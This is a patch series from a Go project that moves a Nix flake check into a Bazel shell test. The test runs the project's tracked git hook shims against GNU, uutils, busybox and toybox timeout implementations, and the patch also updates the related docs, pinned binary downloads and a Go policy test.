".githooks/post-merge", + ".githooks/pre-commit", + ".githooks/pre-push", + ".githooks/prepare-commit-msg", + ], + visibility = ["//tests/hook_timeout_backends:__pkg__"], +) + # //cmd/bd:bd_test: tracked git hooks (generator parity) and the formula # primitive fixtures. filegroup( @@ -383,6 +396,7 @@ filegroup( "//test/conformance:repo_files", "//test/docsync:repo_files", "//test/testmainconvention:repo_files", + "//tests/hook_timeout_backends:repo_files", "//tests/migration:repo_files", "//tests/regression:repo_files", "//tests/upgrade_smoke:repo_files", diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 536005d1e..daca0d8ab 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -368,7 +368,7 @@ docker run --rm -v $(pwd):/workspace -w /workspace nixos/nix \ If the build fails with a `vendorHash` mismatch, run `./scripts/update-nix-vendorhash.sh` to recompute and update `default.nix`, or update it manually with the `got:` hash from the error message and rebuild. -On a PR, this is covered by PR Risk's required `test-nix` job (`.github/workflows/pr-risk.yml`), which runs `nix run .#default -- --help` plus `nix flake check -L` on every PR touching `go.mod`, `go.sum`, `default.nix`, `flake.nix`, or `flake.lock` -- a superset of plain `nix build .#default`. `.github/workflows/nix-build.yml` dropped its own `pull_request` trigger as redundant (F7c, spec-f7.md §2.4) and now only runs `nix build .#default` on push to `main` and on `workflow_dispatch`, so dependabot bumps that invalidate `vendorHash` still fail loudly post-merge instead of silently breaking Nix users on main. For dependabot Go-module bumps specifically, `.github/workflows/update-vendor-hash.yml` runs the same `update-nix-vendorhash.sh` script and pushes the hash bump back to the dependabot branch automatically (note: GitHub does not retrigger `pull_request` workflows for `GITHUB_TOKEN`-authored commits, so a maintainer may need to re-run PR Risk's `test-nix` once after the auto-fix push to mark the gate green). +On a PR, this is covered by PR Risk's required `test-nix` job (`.github/workflows/pr-risk.yml`), which runs `nix run .#default -- --help` plus `nix flake check -L` (an evaluation of every flake output; the flake has no test checks) on every PR touching `go.mod`, `go.sum`, `default.nix`, `flake.nix`, or `flake.lock` -- a superset of plain `nix build .#default`. `.github/workflows/nix-build.yml` dropped its own `pull_request` trigger as redundant (F7c, spec-f7.md §2.4) and now only runs `nix build .#default` on push to `main` and on `workflow_dispatch`, so dependabot bumps that invalidate `vendorHash` still fail loudly post-merge instead of silently breaking Nix users on main. For dependabot Go-module bumps specifically, `.github/workflows/update-vendor-hash.yml` runs the same `update-nix-vendorhash.sh` script and pushes the hash bump back to the dependabot branch automatically (note: GitHub does not retrigger `pull_request` workflows for `GITHUB_TOKEN`-authored commits, so a maintainer may need to re-run PR Risk's `test-nix` once after the auto-fix push to mark the gate green). ### Debugging diff --git a/MODULE.bazel b/MODULE.bazel index 9cd65e6fc..b429ea297 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -319,3 +319,35 @@ filegroup( sha256 = "2852af0cb20a13139b3448992e69b868e50ed0f8a1e5940ee1de9e19a123b613", urls = ["https://go.dev/dl/go1.25.0.linux-amd64.tar.gz"], ) + +# The timeout implementations //tests/hook_timeout_backends runs the tracked +# git hook shims against (formerly checks.nix's hook-timeout-backends, which +# took them from nixpkgs): static x86_64 builds, so the test needs nothing +# from the executor beyond a shell, perl and GNU coreutils. +http_file = use_repo_rule("@bazel_tools//tools/build_defs/repo:http.bzl", "http_file") + +http_file( + name = "busybox_static", + executable = True, + sha256 = "6e123e7f3202a8c1e9b1f94d8941580a25135382b99e8d3e34fb858bba311348", + urls = ["https://busybox.net/downloads/binaries/1.35.0-x86_64-linux-musl/busybox"], +) + +http_file( + name = "toybox_static", + executable = True, + sha256 = "38e03ffd8aead8ca26833e1e5c90a9ea7250f3719c29d779ebff7aa55c9d2dac", + urls = ["https://landley.net/toybox/downloads/binaries/0.8.15/toybox-x86_64"], +) + +http_archive( + name = "uutils_coreutils", + build_file_content = """exports_files( + ["coreutils"], + visibility = ["//visibility:public"], +) +""", + sha256 = "9b555b01457279bcc3e46753f0ef324fd3d02a0535111200a4632d1297263b54", + strip_prefix = "coreutils-0.12.0-x86_64-unknown-linux-musl", + urls = ["https://github.com/uutils/coreutils/releases/download/0.12.0/coreutils-0.12.0-x86_64-unknown-linux-musl.tar.gz"], +) diff --git a/checks.nix b/checks.nix deleted file mode 100644 index dac064270..000000000 --- a/checks.nix +++ /dev/null @@ -1,262 +0,0 @@ -# Flake checks. Run all with `nix flake check`; one with -# `nix build .#checks.. -L`. -pkgs: -let - inherit (pkgs) lib; - - # hook-timeout-backends: run the tracked hook shims against REAL timeout - # implementations. - # - # cmd/bd/hooks_timeout_process_test.go pins the shim's selection logic with - # scripted helpers, and TestTrackedManagedHookSectionsMatchGenerator holds - # the tracked .githooks/* byte-equal to the generator. This check closes the - # remaining gap — what the helpers on real hosts actually do — by running the - # tracked sections against the binaries themselves. That is where the - # surprises live: uutils prints a different banner (GH#5541); busybox exits - # 143 on expiry, not 124, so allowlisting it as-is would turn every timeout - # into a failed hook; toybox exits 125 from --version. - # - # The matrix is derived from a model of the contract, so a change to the - # allowlist is one line here and the binaries either agree or they do not. - # Reading .githooks/* rather than building bd keeps this at about one - # deadline of wall time and independent of the Go build. - # - # Each case: one hook, one shell (the `sh`s a `#!/usr/bin/env sh` hook meets - # in the wild), a PATH of exactly one timeout implementation — under the - # name `timeout`, or for the multicall ones also under `gtimeout` alone — - # plus optionally perl, BEADS_HOOK_TIMEOUT=1, and a fake `bd` that blocks on a held-open fifo - # until a helper kills it. The fake records the signal that killed it, which - # is how the check asserts the backend and not just "it finished": - # coreutils backend → TERM from timeout, shim reports the deadline, exit 0 - # perl backend → ALRM from perl's alarm, same report, exit 0 - # no backend → the fake returns at once; shim warns it is running - # without a deadline, exit 0 - # A non-zero hook exit blocks the user's push, so every case asserts exit 0. - # No clock is involved: if nothing kills the fake, the harness's own - # `timeout 10` (on its full PATH, not the shim's) fails the case. - - # The identity allowlist in cmd/bd/hooks.go, as data. - allowlisted = [ - "gnu-coreutils" - "uutils-coreutils" - ]; - - implementations = { - gnu-coreutils = pkgs.coreutils; - uutils-coreutils = pkgs.uutils-coreutils-noprefix; - none = null; - } - // lib.optionalAttrs pkgs.stdenv.isLinux { - busybox = pkgs.busybox; - toybox = pkgs.toybox; - }; - - # The shim probes `timeout` first and `gtimeout` second (Homebrew's prefixed - # GNU coreutils on macOS). Whether a helper is accepted under the second name - # depends on what its banner does with argv[0]. The multicall implementations - # dispatch on it and then print the CANONICAL utility name: uutils' - # src/bin/coreutils.rs matches `argv[0].ends_with()`, so `gtimeout` - # (or `mytimeout`) is `timeout` to it and reports "timeout (uutils - # coreutils) " — accepted (measured on 0.8.0, this flake's - # nixos-25.11 pin, and on 0.11.0); busybox and toybox know no `gtimeout` - # applet and fail the probe outright — rejected either way. These variants put each multicall on PATH under the name `gtimeout` - # ONLY, so the second candidate is the one that runs. GNU has no variant: - # nixpkgs' coreutils is a single-binary multicall that refuses a name it does - # not know ("coreutils: unknown program 'gtimeout'"), while Homebrew's - # gtimeout is a separate binary whose banner is the fixed "timeout (GNU - # coreutils) 9.11" — GNU is immune by construction, not by measurement here. - asGtimeout = - impl: pkg: - pkgs.runCommand "${impl}-as-gtimeout" { } '' - mkdir -p "$out/bin" - ln -s ${pkg}/bin/timeout "$out/bin/gtimeout" - ''; - - # What goes on a case's PATH: every implementation as itself, and the - # multicalls once more under the other candidate name. `impl` is what the - # model reasons about; `label` is what the case is called. - installs = lib.concatLists ( - lib.mapAttrsToList ( - impl: pkg: - [ - { - inherit impl; - label = impl; - dirs = lib.optional (pkg != null) "${pkg}/bin"; - } - ] - ++ lib.optional (pkg != null && impl != "gnu-coreutils") { - inherit impl; - label = "${impl}-as-gtimeout"; - dirs = [ "${asGtimeout impl pkg}/bin" ]; - } - ) implementations - ); - - shells = { - dash = "${pkgs.dash}/bin/dash"; - bash = "${pkgs.bash}/bin/bash"; - } - // lib.optionalAttrs pkgs.stdenv.isLinux { - busybox-ash = "${pkgs.busybox}/bin/sh"; - }; - - hooks = [ - "pre-commit" - "post-merge" - "pre-push" - "post-checkout" - "prepare-commit-msg" - ]; - - backendFor = - impl: withPerl: - if lib.elem impl allowlisted then - "coreutils" - else if withPerl then - "perl" - else - "none"; - - # One `run_case` line per point in the matrix, all backgrounded. - cases = lib.concatMap ( - install: - lib.concatMap - ( - withPerl: - lib.concatLists ( - lib.mapAttrsToList ( - shellName: shell: - map (hook: { - name = "${hook}/${shellName}/${install.label}${lib.optionalString withPerl "+perl"}"; - inherit hook shell; - backend = backendFor install.impl withPerl; - path = install.dirs ++ lib.optional withPerl "${pkgs.perl}/bin"; - }) hooks - ) shells - ) - ) - [ - false - true - ] - ) installs; - - caseLine = - c: - "run_case ${ - lib.escapeShellArgs [ - c.name - c.hook - c.backend - c.shell - ] - } ${lib.escapeShellArgs c.path} &\n"; - - trackedHooks = lib.fileset.toSource { - root = ./.; - fileset = ./.githooks; - }; -in -{ - hook-timeout-backends = - pkgs.runCommand "bd-hook-timeout-backends" - { - # Only .githooks/* is an input: nothing else in the repo changes what - # this check measures. - githooks = "${trackedHooks}/.githooks"; - } - '' - # 1. Shims under test: the managed section of each tracked hook, as - # bd installs it into a fresh repo (shebang + section). - shims="$TMPDIR/shims" - mkdir -p "$shims" - for hook in ${lib.escapeShellArgs hooks}; do - { - echo '#!/usr/bin/env sh' - sed -n '/^# --- BEGIN BEADS INTEGRATION/,/^# --- END BEADS INTEGRATION/p' "$githooks/$hook" - } > "$shims/$hook" - grep -q 'bd hooks run' "$shims/$hook" || { echo "no managed section in .githooks/$hook"; exit 1; } - done - - # 2. The fake bd the shim will find on its restricted PATH. It blocks - # until killed and records the signal, re-raising it so it dies the - # way a real bd would (143 / 142), not by a made-up exit code. - fake="$TMPDIR/fakebin" - mkdir -p "$fake" - cat > "$fake/bd" <<'FAKE' - #!/bin/sh - trap 'echo TERM > "$FAKE_BD_SIGNAL"; trap - TERM; kill -TERM $$' TERM - trap 'echo ALRM > "$FAKE_BD_SIGNAL"; trap - ALRM; kill -ALRM $$' ALRM - [ -n "$FAKE_BD_BLOCK" ] && read -r _ - exit 0 - FAKE - chmod +x "$fake/bd" - mkfifo "$TMPDIR/hang" - exec 3<> "$TMPDIR/hang" - - # 3. The matrix. - results="$TMPDIR/results" - mkdir -p "$results" - run_case() { - name=$1 hook=$2 backend=$3 shell=$4 - shift 4 - case_dir="$TMPDIR/cases/$name" - mkdir -p "$case_dir/bin" - ln -s "$shell" "$case_dir/bin/sh" - path="$fake:$case_dir/bin" - for dir in "$@"; do path="$path:$dir"; done - block=1 - [ "$backend" = none ] && block= - signal_file="$case_dir/signal" - # `|| rc=$?`: the builder runs under set -e, and a bare assignment - # from a failing command would end this subshell before it reports. - rc=0 - case_out=$(timeout 10 env PATH="$path" BEADS_HOOK_TIMEOUT=1 \ - FAKE_BD_BLOCK="$block" FAKE_BD_SIGNAL="$signal_file" \ - "$case_dir/bin/sh" "$shims/$hook" origin https://example.invalid 2>&1 <&3) || rc=$? - signal=$(cat "$signal_file" 2>/dev/null || true) - verdict=ok - if [ "$rc" -eq 124 ]; then - # This is the one mode that is intermittent and not reproducible - # locally, so it needs the output most: report it like the branch - # below rather than as a bare string. - verdict="FAIL: nothing killed the fake bd (harness safety net fired), signal='$signal': $case_out" - elif [ "$rc" -ne 0 ]; then - verdict="FAIL: hook exit $rc (would block the push): $case_out" - else - case "$backend" in - coreutils) - case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac - [ "$signal" = TERM ] || verdict="FAIL: expected coreutils timeout (TERM), fake saw '$signal'" - ;; - perl) - case "$case_out" in *"timed out after 1s"*) ;; *) verdict="FAIL: no deadline report: $case_out" ;; esac - [ "$signal" = ALRM ] || verdict="FAIL: expected perl alarm (ALRM), fake saw '$signal'" - ;; - none) - case "$case_out" in *"running without timeout"*) ;; *) verdict="FAIL: no unbounded warning: $case_out" ;; esac - ;; - esac - fi - printf '%-52s %-10s %s\n' "$name" "$backend" "$verdict" > "$results/$(echo "$name" | tr / _)" - } - - ${lib.concatMapStrings caseLine cases} - wait - - printf '%-52s %-10s %s\n' CASE BACKEND RESULT - sort "$results"/* - echo - reported=$(ls "$results" | wc -l) - echo "$reported of ${toString (lib.length cases)} cases reported, $(grep -l FAIL "$results"/* | wc -l) failed" - if [ "$reported" -ne ${toString (lib.length cases)} ]; then - echo "some cases never reported a verdict" - exit 1 - fi - if grep -q FAIL "$results"/*; then - exit 1 - fi - touch "$out" - ''; -} diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 0dde5d0ee..7a2a62915 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -74,7 +74,7 @@ a unit test: use the real boundary when the defect could live there. | Final gate | `make test` | Once after focused work on Go code is green: the whole test lane, mostly cache hits. | | Another lane's risk | that lane's command from the table above | When the change touches what that lane covers (integration-tagged files, the Dolt server path, embedded Dolt, pure-Go builds). | | Named CI wrapper | `make ci-pr-core` or `make ci-pr-lint` | Run the wrapper whose risk or surface is affected, or use it to reproduce that CI check. Do not run all three routinely for every edit. | -| Hook shims against real timeout implementations | `nix flake check -L` (or `nix build .#checks..hook-timeout-backends -L`) | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash. About one deadline of wall time; needs no Go build. | +| Hook shims against real timeout implementations | `bazel test //tests/hook_timeout_backends:hook_timeout_backends_test` | After changing the hook generator in `cmd/bd/hooks.go` (then `make githooks-regen`) or anything under `.githooks/`. Runs the tracked managed sections against GNU coreutils, uutils, busybox and toybox `timeout` — the multicalls also installed as `gtimeout` alone — with and without Perl, under dash, bash and busybox ash (240 cases). About one deadline of wall time; needs no Go build. The PR-core lane runs it on every PR. | Do not replace the focused loop with repeated full-suite runs. Run the final `make test` once the affected tests are green. For docs-only changes, use diff --git a/flake.nix b/flake.nix index 60a965a66..7bf3bbdfb 100644 --- a/flake.nix +++ b/flake.nix @@ -38,7 +38,6 @@ packages = forAllSystems (import ./packages.nix); - checks = forAllSystems (import ./checks.nix); apps = nixpkgs.lib.genAttrs systems ( system: diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 4885457cc..a57d31d34 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -4,6 +4,7 @@ import ( "fmt" "os" "path/filepath" + "regexp" "sort" "strings" "testing" @@ -58,8 +59,9 @@ func readPushPaths(t *testing.T, file string) []string { // TestNixBuildDropsPullRequestTriggerNotPushOrDispatch pins the one // "delete the pull_request trigger" trigger change in F7c: nix-build.yml's // PR coverage is fully redundant with PR Risk's required test-nix job (which -// runs `nix run .#default` plus `nix flake check -L` on every PR, a superset -// of `nix build .#default`), but push and workflow_dispatch must survive so +// runs `nix run .#default` plus `nix flake check -L`, which evaluates every +// flake output, on every PR: a superset of `nix build .#default`), but push +// and workflow_dispatch must survive so // the plain `nix build` path stays covered post-merge. func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { type nixTriggers struct { @@ -111,6 +113,48 @@ func TestNixBuildDropsPullRequestTriggerNotPushOrDispatch(t *testing.T) { } } +// The flake's one test check (hook-timeout-backends, which only PR Risk's +// test-nix ran) is a Bazel target the PR-core lane runs on every PR, against +// all five tracked hooks and the three pinned static timeout +// implementations; the flake declares no checks, so test-nix's +// `nix flake check` is a packaging check (an evaluation of the outputs), not +// a test run on a GitHub runner. +func TestHookTimeoutBackendsRunUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + if _, err := os.Stat(filepath.Join(root, "checks.nix")); err == nil { + t.Error("checks.nix is back; hook-timeout-backends runs under Bazel (//tests/hook_timeout_backends)") + } + if flake := readPolicyFile(t, root, "flake.nix"); regexp.MustCompile(`(?m)^\s*checks\s*=`).MatchString(flake) { + t.Error("flake.nix declares checks; test checks run under Bazel, test-nix's nix flake check only evaluates the outputs") + } + rule := bazelRuleBlock(readPolicyFile(t, root, "tests/hook_timeout_backends/BUILD.bazel"), "hook_timeout_backends_test") + for _, want := range []string{ + `srcs = ["hook_timeout_backends_test.sh"],`, + `"$(rootpath @busybox_static//file)",`, + `"$(rootpath @toybox_static//file)",`, + `"$(rootpath @uutils_coreutils//:coreutils)",`, + `"$(rootpath //:.githooks/pre-commit)",`, + `"$(rootpath //:.githooks/post-merge)",`, + `"$(rootpath //:.githooks/pre-push)",`, + `"$(rootpath //:.githooks/post-checkout)",`, + `"$(rootpath //:.githooks/prepare-commit-msg)",`, + `tags = ["pr-core-only"],`, + } { + if !strings.Contains(rule, want) { + t.Errorf("//tests/hook_timeout_backends:hook_timeout_backends_test lacks %q:\n%s", want, rule) + } + } + hooks, err := filepath.Glob(filepath.Join(root, ".githooks", "*")) + if err != nil { + t.Fatal(err) + } + for _, hook := range hooks { + if !strings.Contains(rule, `"$(rootpath //:.githooks/`+filepath.Base(hook)+`)",`) { + t.Errorf("tracked hook .githooks/%s is not in hook_timeout_backends_test's args", filepath.Base(hook)) + } + } +} + func sortedCopy(items []string) []string { out := append([]string(nil), items...) sort.Strings(out) diff --git a/tests/hook_timeout_backends/BUILD.bazel b/tests/hook_timeout_backends/BUILD.bazel new file mode 100644 index 000000000..aef412762 --- /dev/null +++ b/tests/hook_timeout_backends/BUILD.bazel @@ -0,0 +1,60 @@ +load("@rules_shell//shell:sh_test.bzl", "sh_test") + +# The tracked git hook shims (.githooks/*, managed section only) against real +# timeout implementations: GNU coreutils and perl from the executor, and +# static uutils coreutils, busybox and toybox builds pinned in MODULE.bazel, +# under dash, bash and busybox ash. Formerly checks.nix's flake check +# hook-timeout-backends, which only PR Risk's test-nix job ran. See the +# script's header for the matrix and what each case asserts. +# +# Tags: +# pr-core-only: a non-Go sh_test (no Go testcases for the integration +# lane's check_testcases.py); the PR-core lane runs it. +sh_test( + name = "hook_timeout_backends_test", + size = "small", + srcs = ["hook_timeout_backends_test.sh"], + args = [ + "$(rootpath @busybox_static//file)", + "$(rootpath @toybox_static//file)", + "$(rootpath @uutils_coreutils//:coreutils)", + "$(rootpath //:.githooks/pre-commit)", + "$(rootpath //:.githooks/post-merge)", + "$(rootpath //:.githooks/pre-push)", + "$(rootpath //:.githooks/post-checkout)", + "$(rootpath //:.githooks/prepare-commit-msg)", + ], + data = [ + "//:.githooks/post-checkout", + "//:.githooks/post-merge", + "//:.githooks/pre-commit", + "//:.githooks/pre-push", + "//:.githooks/prepare-commit-msg", + "@busybox_static//file", + "@toybox_static//file", + "@uutils_coreutils//:coreutils", + ], + tags = ["pr-core-only"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/hook_timeout_backends/hook_timeout_backends_test.sh b/tests/hook_timeout_backends/hook_timeout_backends_test.sh new file mode 100755 index 000000000..115c6a796 --- /dev/null +++ b/tests/hook_timeout_backends/hook_timeout_backends_test.sh @@ -0,0 +1,223 @@ +#!/usr/bin/env bash +# hook-timeout-backends: run the tracked git hook shims against REAL timeout +# implementations (formerly checks.nix's flake check of the same name). +# +# cmd/bd/hooks_timeout_process_test.go pins the shim's selection logic with +# scripted helpers, and TestTrackedManagedHookSectionsMatchGenerator holds the +# tracked .githooks/* byte-equal to the generator. This test closes the +# remaining gap — what the helpers on real hosts actually do — by running the +# tracked sections against the binaries themselves. That is where the +# surprises live: uutils prints a different banner (GH#5541); busybox exits +# 143 on expiry, not 124, so allowlisting it as-is would turn every timeout +# into a failed hook; toybox exits 125 from --version. +# +# Each case: one hook, one shell (the `sh`s a `#!/usr/bin/env sh` hook meets in +# the wild: dash, bash, busybox ash), a PATH of exactly one timeout +# implementation — under the name `timeout`, or for the multicall ones also +# under `gtimeout` alone — plus optionally perl, BEADS_HOOK_TIMEOUT=1, and a +# fake `bd` that blocks on a held-open fifo until a helper kills it. The fake +# records the signal that killed it, which is how the test asserts the backend +# and not just "it finished": +# coreutils backend → TERM from timeout, shim reports the deadline, exit 0 +# perl backend → ALRM from perl's alarm, same report, exit 0 +# no backend → the fake returns at once; shim warns it is running +# without a deadline, exit 0 +# A non-zero hook exit blocks the user's push, so every case asserts exit 0. +# No clock is involved: if nothing kills the fake, the harness's own +# `timeout 10` (GNU, on its full PATH, not the shim's) fails the case. +# +# The multicall implementations dispatch on argv[0] and print the CANONICAL +# utility name: uutils matches `argv[0].ends_with()`, so under +# `gtimeout` it is `timeout` to it and reports "timeout (uutils coreutils) +# " — accepted; busybox and toybox know no `gtimeout` applet and fail +# the probe — rejected either way. GNU has no gtimeout variant: Homebrew's +# gtimeout is a separate binary whose banner is the fixed "timeout (GNU +# coreutils) ", so GNU is immune by construction. +# +# Usage: hook_timeout_backends_test.sh BUSYBOX TOYBOX UUTILS_COREUTILS HOOK... +# (-test.* arguments, which Bazel lane configs append, are ignored) +# (the static binaries come in hermetically, MODULE.bazel; dash, bash, perl and +# GNU coreutils come from the executor, and a missing one fails the test). +set -euo pipefail + +# Lane configs pass Go test flags to every target (--config=prcore's +# --test_arg=-test.short, -test.parallel, ...); they mean nothing here. +args=() +for arg in "$@"; do + [[ "$arg" == -test.* ]] || args+=("$arg") +done +set -- "${args[@]}" + +[[ $# -ge 4 ]] || { echo "usage: $0 BUSYBOX TOYBOX UUTILS HOOK..." >&2; exit 2; } +busybox="$(realpath "$1")" +toybox="$(realpath "$2")" +uutils="$(realpath "$3")" +shift 3 +hook_files=("$@") + +# The identity allowlist in cmd/bd/hooks.go, as data. +allowlisted=" gnu-coreutils uutils-coreutils " + +require_tool() { + local path + path="$(command -v "$1" 2>/dev/null)" || { echo "FAIL: $1 is not on the executor's PATH" >&2; exit 1; } + realpath "$path" +} +dash="$(require_tool dash)" +bash_bin="$(require_tool bash)" +perl="$(require_tool perl)" +gnu_timeout="$(require_tool timeout)" +case "$("$gnu_timeout" --version 2>/dev/null | head -n 1)" in + "timeout (GNU coreutils) "*) ;; + *) echo "FAIL: the executor's timeout is not GNU coreutils: $gnu_timeout" >&2; exit 1 ;; +esac +case "$("$uutils" timeout --version 2>/dev/null | head -n 1)" in + "timeout (uutils coreutils) "*) ;; + *) echo "FAIL: $uutils is not uutils coreutils" >&2; exit 1 ;; +esac + +tmp="${TEST_TMPDIR:-$(mktemp -d)}/htb" +rm -rf "$tmp" +mkdir -p "$tmp" + +# 1. Shims under test: the managed section of each tracked hook, as bd +# installs it into a fresh repo (shebang + section). +shims="$tmp/shims" +mkdir -p "$shims" +hooks=() +for file in "${hook_files[@]}"; do + hook="$(basename "$file")" + hooks+=("$hook") + { + echo '#!/usr/bin/env sh' + sed -n '/^# --- BEGIN BEADS INTEGRATION/,/^# --- END BEADS INTEGRATION/p' "$file" + } > "$shims/$hook" + grep -q 'bd hooks run' "$shims/$hook" || { echo "FAIL: no managed section in .githooks/$hook" >&2; exit 1; } +done +for want in pre-commit post-merge pre-push post-checkout prepare-commit-msg; do + [[ -f "$shims/$want" ]] || { echo "FAIL: .githooks/$want is not in the test's data" >&2; exit 1; } +done + +# 2. The fake bd the shim will find on its restricted PATH. It blocks until +# killed and records the signal, re-raising it so it dies the way a real bd +# would (143 / 142), not by a made-up exit code. +fake="$tmp/fakebin" +mkdir -p "$fake" +cat > "$fake/bd" <<'FAKE' +#!/bin/sh +trap 'echo TERM > "$FAKE_BD_SIGNAL"; trap - TERM; kill -TERM $$' TERM +trap 'echo ALRM > "$FAKE_BD_SIGNAL"; trap - ALRM; kill -ALRM $$' ALRM +[ -n "$FAKE_BD_BLOCK" ] && read -r _ +exit 0 +FAKE +chmod +x "$fake/bd" +mkfifo "$tmp/hang" +exec 3<> "$tmp/hang" + +# 3. The installs: every implementation as itself, and the multicalls once +# more under the other candidate name. "impl" is what the model reasons +# about; "label" is what the case is called. A dir holds exactly the one +# command. +bin_dir() { # bin_dir NAME CMD TARGET: a dir holding CMD -> TARGET + mkdir -p "$tmp/bins/$1" + ln -s "$3" "$tmp/bins/$1/$2" + echo "$tmp/bins/$1" +} +install_impls=() install_labels=() install_dirs=() +add_install() { install_impls+=("$1"); install_labels+=("$2"); install_dirs+=("$3"); } +add_install gnu-coreutils gnu-coreutils "$(bin_dir gnu-coreutils timeout "$gnu_timeout")" +add_install none none "" +for multicall in uutils-coreutils:"$uutils" busybox:"$busybox" toybox:"$toybox"; do + impl="${multicall%%:*}" target="${multicall#*:}" + add_install "$impl" "$impl" "$(bin_dir "$impl" timeout "$target")" + add_install "$impl" "$impl-as-gtimeout" "$(bin_dir "$impl-as-gtimeout" gtimeout "$target")" +done +perl_dir="$(bin_dir perl perl "$perl")" + +shell_names=(dash bash busybox-ash) +shell_paths=("$dash" "$bash_bin" "$busybox") + +backend_for() { # backend_for IMPL WITH_PERL + if [[ "$allowlisted" == *" $1 "* ]]; then + echo coreutils + elif [[ "$2" == 1 ]]; then + echo perl + else + echo none + fi +} + +# 4. The matrix. +results="$tmp/results" +mkdir -p "$results" +run_case() { + local name=$1 hook=$2 backend=$3 shell=$4 + shift 4 + local case_dir="$tmp/cases/$name" + mkdir -p "$case_dir/bin" + ln -s "$shell" "$case_dir/bin/sh" + local path="$fake:$case_dir/bin" dir + for dir in "$@"; do path="$path:$dir"; done + local block=1 + [[ "$backend" == none ]] && block= + local signal_file="$case_dir/signal" rc=0 case_out signal verdict=ok + case_out=$("$gnu_timeout" 10 env PATH="$path" BEADS_HOOK_TIMEOUT=1 \ + FAKE_BD_BLOCK="$block" FAKE_BD_SIGNAL="$signal_file" \ + "$case_dir/bin/sh" "$shims/$hook" origin https://example.invalid 2>&1 <&3) || rc=$? + signal=$(cat "$signal_file" 2>/dev/null || true) + if [[ "$rc" -eq 124 ]]; then + verdict="FAIL: nothing killed the fake bd (harness safety net fired), signal='$signal': $case_out" + elif [[ "$rc" -ne 0 ]]; then + verdict="FAIL: hook exit $rc (would block the push): $case_out" + else + case "$backend" in + coreutils) + [[ "$case_out" == *"timed out after 1s"* ]] || verdict="FAIL: no deadline report: $case_out" + [[ "$signal" == TERM ]] || verdict="FAIL: expected coreutils timeout (TERM), fake saw '$signal'" + ;; + perl) + [[ "$case_out" == *"timed out after 1s"* ]] || verdict="FAIL: no deadline report: $case_out" + [[ "$signal" == ALRM ]] || verdict="FAIL: expected perl alarm (ALRM), fake saw '$signal'" + ;; + none) + [[ "$case_out" == *"running without timeout"* ]] || verdict="FAIL: no unbounded warning: $case_out" + ;; + esac + fi + printf '%-52s %-10s %s\n' "$name" "$backend" "$verdict" > "$results/${name//\//_}" +} + +total=0 +for i in "${!install_impls[@]}"; do + for with_perl in 0 1; do + backend="$(backend_for "${install_impls[$i]}" "$with_perl")" + dirs=() + [[ -n "${install_dirs[$i]}" ]] && dirs+=("${install_dirs[$i]}") + suffix= + if [[ "$with_perl" == 1 ]]; then + dirs+=("$perl_dir") + suffix=+perl + fi + for s in "${!shell_names[@]}"; do + for hook in "${hooks[@]}"; do + run_case "$hook/${shell_names[$s]}/${install_labels[$i]}$suffix" "$hook" "$backend" "${shell_paths[$s]}" ${dirs[@]+"${dirs[@]}"} & + total=$((total + 1)) + done + done + done +done +wait + +printf '%-52s %-10s %s\n' CASE BACKEND RESULT +sort "$results"/* +echo +reported=$(find "$results" -type f | wc -l) +failed=$(grep -l FAIL "$results"/* | wc -l || true) +echo "$reported of $total cases reported, $failed failed" +if [[ "$reported" -ne "$total" ]]; then + echo "FAIL: some cases never reported a verdict" >&2 + exit 1 +fi +if [[ "$failed" -ne 0 ]]; then + exit 1 +fi From 886ebb375a4773395a1971a8931fb3df5c87d76c Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 8 Oct 2026 00:55:02 +0000 Subject: [PATCH 044/213] ci(rbe): fail remote runs fast on a stale worker-env pin; nightly opens an issue (#7373) rbe-west's pool workers run gascity main's tools/rbe/worker-env and advertise its pin; the schedulers match //platforms:rbe_worker's pin exactly. When gascity re-pins and beads' copy falls behind, every remote action queues until the lanes time out, and the only check ran nightly with no notification (review finding S1). - bazel.yml's rbe job: after decide, only when the lanes execute remotely (enabled: modes remote, fork-ro, fork-rw; merge groups are remote), a sparse checkout of tools/rbe and platforms and tools/rbe/worker-env-sync main. Out of step fails the job, so every lane skips and pr.yml's gate is red within a minute, with the diff and the pin to commit in the summary. No fallback to mode cache: pr.yml's ci-gate requires a remote run (BAZEL_REMOTE), so it would be just as red, only slower. gascity unreachable warns and proceeds. The steps set no output; the job's outputs stay decide's. - worker-env-sync: exit 1 only for out of step, exit 2 (warning) when it cannot compare (ERR trap; curl timeouts), WORKER_ENV_SYNC_REPORT copies the markdown report. - nightly.yml: top-level permissions contents: read; rbe-worker-env-sync gets issues: write and, on exit 1, tools/rbe/worker-env-sync-issue opens a ci/infra issue with the report or updates the open one (body + comment linking the run). GITHUB_TOKEN is in that one step. - Policy tests: TestBazelRBEWorkerEnvPreflight (shape + the step's script run in step / out of step / unreachable), TestNightlyWorkerEnvSyncOpensIssue (permissions, token scope, rc output, issue create/update via a stub gh), TestRBEWorkerEnvSync (exit codes, report); rbe job step and checkout counts updated. Agent-Signature: claude-code-claude-opus-5-5-medium on behalf of Julian Knutsen Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 59 ++++- .github/workflows/nightly.yml | 30 ++- scripts/bazel_farm_workflow_test.go | 20 +- scripts/ci_workflow_test.go | 10 +- scripts/rbe_worker_env_test.go | 365 